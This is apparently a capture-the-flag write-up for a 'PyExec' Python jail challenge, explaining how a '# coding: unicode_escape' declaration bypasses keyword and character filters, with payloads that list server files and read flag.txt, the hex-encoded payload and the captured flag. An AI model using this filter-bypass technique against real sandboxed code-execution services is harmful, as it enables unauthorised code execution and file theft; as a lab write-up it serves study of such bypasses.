Description
PyExec running on http://88.198.89.213:8080
We have sources of python jail. Need to execute code and get a flag.
But before execution almost all python keywords are filtered and regex condition is checked - it's possible to use only lowercase letters, numbers, and certain characters (parentheses, brackets, quotes, and point is prohibited!).
It's known that the first line (or second if shebang is used) of python script can be comment with source code encoding. All supported encodings can be found here: http://docs.python.org/2.6/library/codecs.html
Firstly I tried to use rot13 encoding:
# coding: rot13
Using this one it is possible to bypass the first filter, but without a point, parentheses and quotes hard to execute all functions (it's possible using exec, and redefinition of python's string.punctuation etc).
After trying other encodings I've found unicode_escape.
# coding: unicode_escape
Using this one I've bypassed python jail and executed a code.
Here is my code before encoding to unicode_escape.
List files:
import os;print os.listdir('.')
['.bash_logout', 'flag.txt', 'webapp.py', '.bashrc', '.profile', '.viminfo', '.cache', '.bash_history', 'static']
import os;print os.listdir('.')
['.bash_logout', 'flag.txt', 'webapp.py', '.bashrc', '.profile', '.viminfo', '.cache', '.bash_history', 'static']
Excelent, flag.txt file is found. Let's read it:
print open('flag.txt').read()
print open('flag.txt').read()
After coding to unicode_escape:
# coding: unicode_escape
\x70\x72\x69\x6e\x74\x20\x6f\x70\x65\x6e\x28\x22\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x2e\x72\x65\x61\x64\x28\x29
We get a flag: 30C3_2a2766d9cf4a137d517a8227bd71d59d
